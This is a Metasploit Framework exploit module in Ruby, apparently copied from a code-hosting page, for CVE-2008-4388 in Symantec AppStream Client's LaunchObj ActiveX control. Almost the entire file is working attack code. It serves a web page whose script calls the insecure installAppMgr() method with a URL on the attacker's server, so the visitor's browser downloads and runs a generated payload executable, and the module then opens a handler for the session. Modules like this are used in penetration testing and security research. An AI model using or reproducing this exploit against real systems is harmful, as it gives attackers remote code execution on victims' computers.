90 lines
2.5 KiB
Ruby
90 lines
2.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
|
|
is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
|
|
method. The insecure method can be exploited to download and execute arbitrary files in the
|
|
context of the currently logged-on user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4388' ],
|
|
[ 'OSVDB', '51410' ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DisclosureDate' => 'Jan 15 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
payload_url = "http://"
|
|
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
|
|
|
|
if (request.uri.match(/payload/))
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
data = generate_payload_exe({ :code => p.encoded })
|
|
print_status("Sending payload EXE")
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
|
return
|
|
end
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
exe = rand_text_alpha(rand(5) + 1 )
|
|
|
|
content = %Q|
|
|
<html>
|
|
<object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
|
|
<script language="javascript">
|
|
#{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
|
|
</script>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
send_response_html(cli, content)
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
end
|